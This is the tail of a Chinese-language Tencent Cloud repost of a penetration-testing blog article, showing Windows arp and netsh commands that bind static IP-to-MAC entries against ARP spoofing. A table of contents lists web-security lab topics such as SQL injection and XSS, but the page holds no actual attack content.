arp -s 192.168.1.22 00-aa-00-62-e5-6c
Windows系统下的配置
设置临时静态MAC地址 :
arp -s IP地址 MAC地址
arp -s 192.168.1.200 00-aa-00-62-c6-09
设置永久静态MAC地址:
DOS界面下,输入命令 netsh ii show in ,查看本地网卡对应的"Idx"值
(netsh i i show in 为 netsh interface ipv4 show interfaces 的缩写)

绑定静态mac地址 netsh -c i i ad ne 14 10.30.162.1 cc-2d-e0-1e-43-99 store=persistent

删除之前绑定的ARP表项 netsh -c "i i" delete neighbors 14(14为之前的idx值)

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-07-23,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透云笔记 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 一、文件上传漏洞原理
    • 1、实验原理
      • 2、实验过程
        • 3、webshell
          • 4、菜刀详解+官网下载链接
          • 二、文件包含渗透 File Inclusion
            • 1、项目实验环境
              • 2、文件包含漏洞危害及原理
                • 2.1、低安全级别
                • 2.2、中安全级别
                • 2.3、高安全级别
            • 三、SQL注入攻击及防御
              • 1、项目实验环境
                • 2、SQL注入危害
                  • 3、SQL基础回顾
                    • 4、SQL注入流程
                      • 5、手动注入实战
                        • 5.1、基于错误的注入
                        • 5.2、基于布尔的注入
                        • 5.3、基于UNION的注入
                        • 5.4、基于时间的盲注
                      • 6、SQLmap自动注入
                        • 6.1、GET方法注入+数据获取
                        • 6.2、POST方法注入+数据获取
                        • 6.3、提权操作
                        • 6.4、综合实例
                    • 四、跨站脚本攻击 XSS
                      • 1、XSS简介
                        • 2、原理解析
                          • 3、构造XSS脚本
                            • 3.1、常用HTML标签
                            • 3.2、常用JavaScript方法
                            • 3.3、构造XSS脚本
                          • 4、反射型XSS (XSS reilected)
                            • 4.1、安全级别
                          • 5、存储型XSS (XSS stored)
                            • 6、自动化XSS
                              • 6.1、BeEF简介
                              • 6.2、BeEF基础
                              • 6.3、信息收集
                          • 五、Web信息收集之搜索引擎
                            • 1、Google Hacking
                              • 2、Shodan Hacking
                                • 3、Zoomeye Hacking
                                • 六、Web信息收集之目标扫描
                                  • 1、项目实验环境
                                    • 2、nmap(命令行)
                                      • 3、zenmap(图形界面)
                                        • 4、OpenVAS
                                        • 七、Web漏洞扫描之AppScan
                                        • 八、Web漏扫之 Burp suite
                                        • 九、SSH密码暴力破解及防御实战
                                        • 十、中间人攻击及防御
                                        相关产品与服务
                                        云数据库 SQL Server
                                        腾讯云数据库 SQL Server (TencentDB for SQL Server)是业界最常用的商用数据库之一,对基于 Windows 架构的应用程序具有完美的支持。TencentDB for SQL Server 拥有微软正版授权,可持续为用户提供最新的功能,避免未授权使用软件的风险。具有即开即用、稳定可靠、安全运行、弹性扩缩等特点。
                                        领券
                                        问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档